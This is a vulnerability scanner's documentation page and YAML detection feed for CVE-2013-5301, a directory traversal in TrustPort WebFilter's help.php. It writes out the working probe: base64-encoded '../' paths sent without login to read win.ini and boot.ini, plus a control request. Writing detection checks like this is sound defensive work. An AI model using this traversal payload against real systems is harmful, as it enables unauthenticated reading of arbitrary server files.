TrustPort — 1 vulnerability check
noctis ships 1 vulnerability check for TrustPort, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TrustPort WebFilter help.php Directory Traversal
| CVE | CVE-2013-5301 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/trustport/CVE-2013-5301.yaml |
Tests the TrustPort WebFilter web console for the directory traversal in its help.php page. The feed sends GET /help.php with an "hf" parameter set to the base64 encoding of fifteen "../" sequences followed by windows/win.ini, winnt/win.ini or boot.ini, without any login. The content of one of these Windows system files in a 200 reply confirms that the page reads files outside its help directory. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only the standard Windows configuration files are read.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /help.php?hf={{hf.winini}} - Checks
winini_r.bodyfor(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /help.php?hf={{hf.winnt}} - Checks
winnt_r.bodyfor(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /help.php?hf={{hf.bootini}} - Checks
bootini_r.bodyfor\[boot loader\] - HTTP(S) request
GET /help.php?hf={{hf.ctrl}} - Checks
ctrl_r.bodyfor(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Checks
win_filefor^(windows/win\.ini|winnt/win\.ini|boot\.ini)$→ finding QoD 75: TrustPort WebFilter help.php Directory Traversal (CVE-2013-5301)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-5301
- https://packetstormsecurity.com/files/122735/Trustport-Webfilter-Traversal-File-Disclosure.html
- https://www.securityfocus.com/bid/61662
Feed source — tests/vulnerabilities/trustport/CVE-2013-5301.yaml
# TrustPort WebFilter help.php directory traversal — CVE-2013-5301
#
# TrustPort WebFilter 5.5.0.2232 and earlier ship a web console (default port
# 4849) whose help.php page returns the help file named by its "hf" parameter.
# The parameter is the base64 of a file path, and the page does not keep that
# path inside the help directory, so a base64-encoded "../" path reads any file
# on the Windows server, without authentication and with SYSTEM privileges
# (BID 61662, Packet Storm 122735).
#
# Detection (benign, read-only): GET /help.php?hf=<base64("../" x15 + file)>
# for windows/win.ini, winnt/win.ini then boot.ini, and match the file CONTENT
# ("; for 16-bit app support", "[fonts]", "[boot loader]") in a 200 reply.
# QoD 75 (response analysis). The traversal sits inside base64 in the query
# string, so http_request sends it untouched; "+", "/" and "=" of the base64
# are percent-encoded so PHP does not turn a "+" into a space.
#
# Improvements over the source NASL:
# - The NASL only runs when /index1.php has a "<title>TrustPort WebFilter"
# title and the host is detected as Windows. The feed sends the probe
# directly, so a console whose landing page differs (other version,
# reverse proxy, OS detection miss) is still tested.
# - A control request (same page, base64 of an absent random file) must come
# back WITHOUT any file signature; a server that returns the same file on
# every request is not reported (fail-closed: no control reply → no
# finding). The absent name contains win.ini and boot.ini, so a honeypot
# keying a fake file on those substrings is caught too.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_trustport_61662.nasl (GPL-2.0-only).
uid: ae4e87ee-6268-4a7b-a679-a836190659a6
name: "TrustPort WebFilter help.php Directory Traversal (CVE-2013-5301)"
description: |
Tests the TrustPort WebFilter web console for the directory traversal in
its help.php page. The feed sends GET /help.php with an "hf" parameter set
to the base64 encoding of fifteen "../" sequences followed by
windows/win.ini, winnt/win.ini or boot.ini, without any login. The content
of one of these Windows system files in a 200 reply confirms that the page
reads files outside its help directory. A control request for an absent
random file must not return any of these files, so a server that serves the
same content on every request is not reported. Only the standard Windows
configuration files are read.
cves: [CVE-2013-5301]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [trustport, webfilter, path-traversal, file-read, windows, base64]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5301"
- "https://packetstormsecurity.com/files/122735/Trustport-Webfilter-Traversal-File-Disclosure.html"
- "https://www.securityfocus.com/bid/61662"
# OpenVAS/Greenbone NASL 2013/gb_trustport_61662.nasl (GPL-2.0-only)
steps:
# ── Build the hf values: base64 of the traversal path, query-safe ────────
- id: build
action: script
store_as: hf
code: |
fn enc(path) {
let s = base64_encode(crap(45, "../") + path);
s.replace("+", "%2B");
s.replace("/", "%2F");
s.replace("=", "%3D");
s
}
#{
winini: enc("windows/win.ini"),
winnt: enc("winnt/win.ini"),
bootini: enc("boot.ini"),
ctrl: enc("windows/win.ini.boot.ini.noctis-absent-" + oob_token)
}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── c:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: http_request
method: GET
port: "{{port}}"
path: "/help.php?hf={{hf.winini}}"
timeout_secs: 10
tls_insecure: true
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_r.status == 200"
on_match:
set_vars:
win_file: "windows/win.ini"
# ── c:\winnt\win.ini (Windows 2000 / NT) ─────────────────────────────────
- id: read-winnt
action: http_request
method: GET
port: "{{port}}"
path: "/help.php?hf={{hf.winnt}}"
timeout_secs: 10
tls_insecure: true
condition: 'win_file == ""'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.body
pattern: "(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'win_file == "" && winnt_r.status == 200'
on_match:
set_vars:
win_file: "winnt/win.ini"
# ── c:\boot.ini (Windows XP / Server 2003) ───────────────────────────────
- id: read-bootini
action: http_request
method: GET
port: "{{port}}"
path: "/help.php?hf={{hf.bootini}}"
timeout_secs: 10
tls_insecure: true
condition: 'win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "\\[boot loader\\]"
case_insensitive: true
condition: 'win_file == "" && bootini_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same page, absent random file — must NOT carry a file ───────
- id: control
action: http_request
method: GET
port: "{{port}}"
path: "/help.php?hf={{hf.ctrl}}"
timeout_secs: 10
tls_insecure: true
condition: 'win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
case_insensitive: true
condition: 'win_file != "" && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: win_file
pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "TrustPort WebFilter help.php Directory Traversal (CVE-2013-5301)"
description: "An unauthenticated request to the TrustPort WebFilter help.php page with an hf parameter holding the base64 of a \"../\" path returned the content of a Windows system file outside the help directory, while the same request for an absent file did not. Any file on the server can be read this way with the privileges of the WebFilter service (SYSTEM)."
remediation: "Update TrustPort WebFilter to a release later than 5.5.0.2232 that fixes help.php, and do not expose the WebFilter web console to untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /help.php?hf=base64(\"../\" x15 + \"{{win_file}}\") returned the content of c:/{{win_file}}; control for an absent file returned no file content"
stop: true